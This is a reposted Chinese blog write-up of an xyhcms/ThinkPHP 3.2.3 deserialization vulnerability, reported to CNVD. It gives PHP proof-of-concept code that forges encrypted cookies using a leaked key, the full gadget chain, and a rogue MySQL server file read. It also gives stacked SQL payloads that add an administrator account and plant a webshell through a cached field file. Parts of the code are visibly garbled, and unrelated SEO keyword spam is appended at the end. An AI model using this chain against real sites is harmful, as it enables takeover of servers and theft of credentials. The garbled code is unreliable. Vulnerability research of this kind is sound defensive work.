千家信息网

如何理解xyhcms反序列化

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章将为大家详细讲解有关如何理解xyhcms反序列化,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。前言2020年5月份的时候看到先知有一篇文章ht
千家信息网最后更新 2026年10月31日如何理解xyhcms反序列化

这篇文章将为大家详细讲解有关如何理解xyhcms反序列化,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

前言

2020年5月份的时候看到先知有一篇文章

https://xz.aliyun.com/t/7756

这个漏洞非常非常简单,经典插配置文件getshell,而且使用了这种标签风格以应对代码对

http://demo.xyhcms.com/App/Runtime/Data/config/site.php

可以发现这些配置选项都是以序列化形式存储在配置文件当中的,且为php后缀。

以安全的角度来想,既然这些配置信息不是写在php代码中以变量存储(大多数cms比如discuz的做法),就不应该以php后缀存储。否则极易产生插配置文件getshell的漏洞。

即使认真过滤了php标签,也可能产生xss和信息泄露的问题。

如果是以序列化形式存储,那么配置文件不管什么后缀,都不应该被轻易访问到,要么像thinkphp5一样配置文件根本不在web目录中,要么每次建站随机配置文件名称。

最后,这个序列化形式存储在文件中也有待商榷,容易产生反序列化问题。

当然,也可以学大多数cms的另外一个做法,配置信息存在数据库中。

第一步,发现反序列化入口

由于注意到配置文件是以反序列化方式存储,所以我优先搜了搜unserialize(

此cms使用的thinkphp3.2.3框架,所以下面的不用看了,只看

/App/Common/Common/function.php

发现get_cookie是使用的反序列化

//function get_cookie($name, $key = '@^%$y5fbl') {function get_cookie($name, $key = '') {        if (!isset($_COOKIE[$name])) {                return null;        }        $key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;        $value = $_COOKIE[$name];        $key = md5($key);        $sc = new \Common\Lib\SysCrypt($key);        $value = $sc->php_decrypt($value);        return unserialize($value);}

$key默认为空,有注释可以固定为【@^%$y5fbl】,为空则使用CFG_COOKIE_ENCODE当key,然后md5加密$key,传入 SysCrypt类当密钥,加密代码见/App/Common/Lib/SysCrypt.class.php。 $value是COOKIE中参数为$name对应的值,用SysCrypt类的php_decrypt方法解密,解密之后是一个序列化字符串,可以被反序列化。

但这个反序列化的前提是知道key,如果被取消注释了,那么key为【@^%$y5fbl】,如果默认没改,就是CFG_COOKIE_ENCODE。而CFG_COOKIE_ENCODE这个值创建网站时会被随机分配一个,且可以在后台改。

且在/App/Runtime/Data/config/site.php中被泄露。

总结一下就是cookie传值,site.php泄露key,这个值先被php_decrypt解密,再进行反序列化,和shiro相似。

那么找到了反序列化入口,而且是极易利用的COOKIE里面。但管理员登录后COOKIE中并没有加密字符串,搜一下get_cookie(,发现是前台注册会员用的。

前台随便注册一个会员,在COOKIE中发现加密字符串,里面任意一个都可以作为序列化入口。

比如nickname=XSIEblowDDRXIVJxBTcHPg5hAWsDbVVoACdcPg%3D%3D就是前台账户sonomon的序列化并加密。这里用接口试一下就明白了。

PS:后面发现使用uid更加通用。

/xyhcms/index.php?s=/Public/loginChk.html

这里将get_cookie,set_cookie,SysCrypt相关的代码抄一下并修改好,写处php加解密工具。

 crypt_key = $crypt_key;        }        public function php_encrypt($txt) {          srand((double)microtime() * 1000000);           $encrypt_key = md5(rand(0,32000));           $ctr = 0;           $tmp = '';          for($i = 0;$i crypt_key));        }                public function php_decrypt($txt) {          $txt = self::__key(base64_decode($txt),$this -> crypt_key);           $tmp = '';          for($i = 0;$i < strlen($txt); $i++) {           $md5 = $txt[$i];            $tmp .= $txt[++$i] ^ $md5;          }          return $tmp;        }                private function __key($txt,$encrypt_key) {          $encrypt_key = md5($encrypt_key);           $ctr = 0;           $tmp = '';          for($i = 0; $i < strlen($txt); $i++) {           $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];          }          return $tmp;        }                public function __destruct() {          $this -> crypt_key = null;        }}function get_cookie($name, $key = '') {        $key = 'YzYdQmSE2';        $key = md5($key);        $sc = new SysCrypt($key);        $value = $sc->php_decrypt($name);        return unserialize($value);}function set_cookie($args, $key = '') {        $key = 'YzYdQmSE2';        $value = serialize($args);        $key = md5($key);        $sc = new SysCrypt($key);        $value = $sc->php_encrypt($value);        return $value;}$a = set_cookie('luoke','');echo $a.'
';echo get_cookie($a,'');

得到加密序列化字符串

放到cookie里试一下

完美,接下来就是需要找到反序列化链,我们先随便找个__destruct(修改源码,加个var_dump(1),看能否触发。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {        var_dump(1);        empty($this->img) || $this->img->destroy();    }

写好POC

 crypt_key = $crypt_key;        }        public function php_encrypt($txt) {         srand((double)microtime() * 1000000);           $encrypt_key = md5(rand(0,32000));           $ctr = 0;           $tmp = '';         for($i = 0;$i crypt_key));        }                public function php_decrypt($txt) {         $txt = self::__key(base64_decode($txt),$this -> crypt_key);           $tmp = '';         for($i = 0;$i < strlen($txt); $i++) {          $md5 = $txt[$i];            $tmp .= $txt[++$i] ^ $md5;         }         return $tmp;        }                private function __key($txt,$encrypt_key) {         $encrypt_key = md5($encrypt_key);           $ctr = 0;           $tmp = '';         for($i = 0; $i < strlen($txt); $i++) {          $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];         }         return $tmp;        }                public function __destruct() {         $this -> crypt_key = null;        }}function get_cookie($name, $key = '') {        $key = 'YzYdQmSE2';        $key = md5($key);        $sc = new \Common\Lib\SysCrypt($key);        $value = $sc->php_decrypt($name);        return unserialize($value);}function set_cookie($args, $key = '') {        $key = 'YzYdQmSE2';        $value = serialize($args);        $key = md5($key);        $sc = new \Common\Lib\SysCrypt($key);        $value = $sc->php_encrypt($value);        return $value;}$b = new \Think\Image\Driver\Imagick();$a = set_cookie($b,'');echo str_replace('+','%2B',$a);

如上图,成功以反序列化方式触发__destruct(),后续测试发现也不需要登录。那么万事具备,只差反序列化链,但是众所周知thinkphp5.x都已被审计出反序列化链,thinkphp3.2.3却并不存在反序列化链,9月份时我问某个群里,也都说的没有。

第二步,寻找反序列化链

我自己的找链思路如下,全局找__destruct()就只有一个靠谱的。

/Include/Library/Think/Image/Driver/Imagick.class.php

public function __destruct() {        empty($this->img) || $this->img->destroy();    }

$this->img可控,也就是说可以触发任意类的destroy方法,或者触发__call方法。__call没有任何靠谱的,反倒是destroy()两个都比较靠谱。

/Include/Library/Think/Session/Driver/Db.class.php

/Include/Library/Think/Session/Driver/Memcache.class.php

Db.class看起来可以SQL注入,而Memcache.class看起来可以执行任意类的delete方法。但两者的destroy方法都有个问题,必须要传入一个$sessID参数,而Imagick.class的destroy并不能传参。所以在这儿就断掉了。

当时我在php7环境中测试,这个东西卡死我了,后来有人找出了thinkphp3.2.3的反序列化链,我才明白原来换php5就行了。直骂自己菜,对php版本特性知道的太少了,否则我可能早就审计出thinkphp3.2.3的反序列化链了。

https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

这样的代码在php7中无法执行,在php5中虽然会报错,但依旧会执行。

将环境切换到php5, Db.class由于没有mysql_connect()建立连接,所以无法执行SQL。

public function destroy($sessID) {        $hander = is_array($this->hander)?$this->hander[0]:$this->hander;       mysql_query("DELETE FROM ".$this->sessionTable." WHERE session_id = '$sessID'",$hander);        if(mysql_affected_rows($hander))            return true;        return false;    }

只能Memcache.class

public function destroy($sessID) {                return $this->handle->delete($this->sessionName.$sessID);        }

$this->handle和$this->sessionName均可控,此时等于可执行任意类的delete方法。

此时找delete方法,发现都跟数据库有关,且必须传输数组,由于$this->sessionName.$sessID必定是个字符串,所以得找一个能转数组的。

/Include/Library/Think/Model.class.php

public function delete($options = array()) {                $pk = $this->getPk();                if (empty($options) && empty($this->options['where'])) {                        if (!empty($this->data) && isset($this->data[$pk])) {                                return $this->delete($this->data[$pk]);                        } else {                                return false;                        }

getPk()代码简短,直接返回$this->pk。

public function getPk() {                return $this->pk;        }

那么$pk,$this->options,$this->data均可控,此时又调用了delete()自己一次,所以等于可以带参数使用delete方法了。

后面一系列参数都不影响代码执行,最终来到

$result = $this->db->delete($options);

等于利用Model.class作为跳板,可以带参数执行任意类的delete方法。

/Include/Library/Think/Db/Driver.class.php

public function delete($options=array()) {        $this->model  =   $options['model'];        $this->parseBind(!empty($options['bind'])?$options['bind']:array());        $table  =   $this->parseTable($options['table']);        $sql    =   'DELETE FROM '.$table;        if(strpos($table,',')){            if(!empty($options['using'])){                $sql .= ' USING '.$this->parseTable($options['using']).' ';            }            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');        }        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');        if(!strpos($table,',')){            $sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');        }        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);    }

此处在拼接$options数组中的SQL语句,最终放在$this->execute方法中执行。

public function execute($str,$fetchSql=false) {        $this->initConnect(true);        if ( !$this->_linkID ) return false;        $this->queryStr = $str;        if(!empty($this->bind)){            $that   =   $this;            $this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '_cf4 .$that->escapeString($val).'_cf5 ; },$this->bind));        }        if($fetchSql){            return $this->queryStr;        }

跟进$this->initConnect()

protected function initConnect($master=true) {        if(!empty($this->config['deploy']))            $this->_linkID = $this->multiConnect($master);        else            if ( !$this->_linkID ) $this->_linkID = $this->connect();    }

跟进$this->connect()

public function connect($config='',$linkNum=0,$autoConnection=false) {        if ( !isset($this->linkID[$linkNum]) ) {            if(empty($config))  $config =   $this->config;            try{                if(empty($config['dsn'])) {                    $config['dsn']  =   $this->parseDsn($config);                }                if(version_compare(PHP_VERSION,'5.3.6','<=')){                     $this->options[PDO::ATTR_EMULATE_PREPARES]  =   false;                }                $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);            }catch ($e) {                if($autoConnection){                    trace($e->getMessage(),'','ERR');                    return $this->connect($autoConnection,$linkNum);                }else{                    E($e->getMessage());                }            }        }        return $this->linkID[$linkNum];    }

可以发现最终是以PDO建立数据库连接,$config 也就是$this->config可控,等于我们可以连接任意数据库,然后执行SQL语句。

可以参考https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA写出POC。

 true    );    protected $config = array(    "dsn"    => "mysql:host=localhost;dbname=xyhcms;port=3306",    "username" => "root",    "password" => "root"        );}namespace Think;class Model{    protected $options   = array();    protected $pk;    protected $data = array();    protected $db = null;    public function __construct(){        $this->db = new \Think\Db\Driver\Mysql();        $this->options['where'] = '';        $this->pk = 'luoke';        $this->data[$this->pk] = array(        "table" => "xyh_admin_log",        "where" => "id=0"        );    }}namespace Think\Session\Driver;class Memcache{    protected $handle;        public function __construct() {        $this->handle = new \Think\Model();        }}namespace Think\Image\Driver;class Imagick{        private $img;        public function __construct() {        $this->img = new \Think\Session\Driver\Memcache();        }}namespace Common\Lib;class SysCrypt{        private $crypt_key;        public function __construct($crypt_key) {        $this -> crypt_key = $crypt_key;        }        public function php_encrypt($txt) {        srand((double)microtime() * 1000000);           $encrypt_key = md5(rand(0,32000));           $ctr = 0;           $tmp = '';        for($i = 0;$i crypt_key));        }                public function php_decrypt($txt) {        $txt = self::__key(base64_decode($txt),$this -> crypt_key);           $tmp = '';        for($i = 0;$i < strlen($txt); $i++) {         $md5 = $txt[$i];            $tmp .= $txt[++$i] ^ $md5;        }        return $tmp;        }                private function __key($txt,$encrypt_key) {        $encrypt_key = md5($encrypt_key);           $ctr = 0;           $tmp = '';        for($i = 0; $i < strlen($txt); $i++) {         $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;            $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];        }        return $tmp;        }                public function __destruct() {        $this -> crypt_key = null;        }}function get_cookie($name, $key = '') {        $key = '7q6Gw97sh';        $key = md5($key);        $sc = new \Common\Lib\SysCrypt($key);        $value = $sc->php_decrypt($name);        return unserialize($value);}function set_cookie($args, $key = '') {        $key = '7q6Gw97sh';        $value = serialize($args);        $key = md5($key);        $sc = new \Common\Lib\SysCrypt($key);        $value = $sc->php_encrypt($value);        return $value;}$b = new \Think\Image\Driver\Imagick();$a = set_cookie($b,'');echo str_replace('+','%2B',$a);

第三步,反序列化getshell

成功执行SQL语句,但很显然,这几乎是无危害的,因为你得知道别人数据库账户密码,或者填自己服务器的账户密码。文章中提到了利用恶意mysql服务器读取文件。

https://github.com/Gifts/Rogue-MySql-Server

文件读取需要绝对路径,可以猜测,也可以访问如下文件,php报错可能会爆出。

/App/Api/Conf/config.php

/App/Api/Controller/ApiCommonController.class.php

/App/Common/LibTag/Other.class.php

/App/Common/Model/ArcViewModel.class.php

得到绝对路径后,修改python脚本增加filelist为D:\\xampp\\htdocs\\xyhcms\\App\\Common\\Conf\\db.php,修改POC数据库连接地址,成功读取配置文件。

读取到了本地的数据库之后,POC更换数据库地址,PDO默认支持堆叠,所以可以直接操作数据库。这里简单一点可以新增一个管理员上去。

"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);"

/xyhai.php?s=/Login/index

test/123456登录

如果需要注数据,可以尝试把数据插在一些无关紧要的地方,比如留言板。

"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"

/index.php?s=/Guestbook/index.html

同理,权限足够也可以直接利用outfile或者general_log来getshell。

如果权限不够怎么办呢?使用序列化数据存储为php文件实在非常危险,翻翻缓存文件夹。发现数据库列的信息也以序列化形式存储在php文件当中。

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

此时我们需要清理一下缓存

然后反序列化操纵mysql新增一个无关紧要的列名为

PS:这里不能用问号,暂时不清楚原因。

"where" => "id=0; alter table xyh_guestbook add column `` varchar(10);"

最后再访问一下前台的留言板,或者后台的留言本管理,生成缓存文件。

/index.php?s=/Guestbook/index.html

最终getshell

/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php

总结

1,要求php5.x版本

2,/App/Runtime/Data/config/site.php泄露CFG_COOKIE_ENCODE

3,制作POC,获得反序列化payload

4,最好开放会员注册,检查/index.php?s=/Home/Public/login.html

然后向/index.php?s=/Public/loginChk.html,/index.php?s=/Home/Member/index.html等需要cookie的接口传递paylaod。Cookie键值为uid,nickname等。

5,访问一些php文件,通过报错获取绝对路径。

6,通过恶意mysql服务器,读取配置文件,获取数据库信息。

7,操作数据库。

8,getshell

这是一个非常冗长而有意思的漏洞利用链。

已上交CNVD-2021-05552

关于如何理解xyhcms反序列化就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

序列 文件 数据 配置 数据库 方法 存储 代码 加密 信息 参数 字符 字符串 前台 就是 形式 成功 会员 入口 后缀 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 小米移动互联网科技园 中智农互联网科技 互联网和科技技术 互联网金融 科技金融 互联网科技论文 国外互联网科技网站 中国最先进互联网科技公司 开启互联网科技时代小说 江苏南京365互联网科技 互联网软件和科技 注册互联网科技公司经营范围大全 消费医药和互联网科技 银川新华互联网科技学校联系电话 互联网方面的科技前沿 沐思想互联网科技有限公司 图游互联网科技 新氧科技和美国互联网有关系吗 广东猫王互联网科技有限公司电话 山东亿川互联网科技有限责任公司 小牛互联网科技有限公司地址 互联网科技产业 碳银互联网科技有限公司 汽车互联网创新科技园 世界互联网科技公司市值排名 崇明区互联网教育科技诚信经营 互联网科技商业 互联网科技圈年度人物 上海京穆互联网科技有限公司 中国互联网公司的科技投入 伍佰万互联网科技是干嘛的
0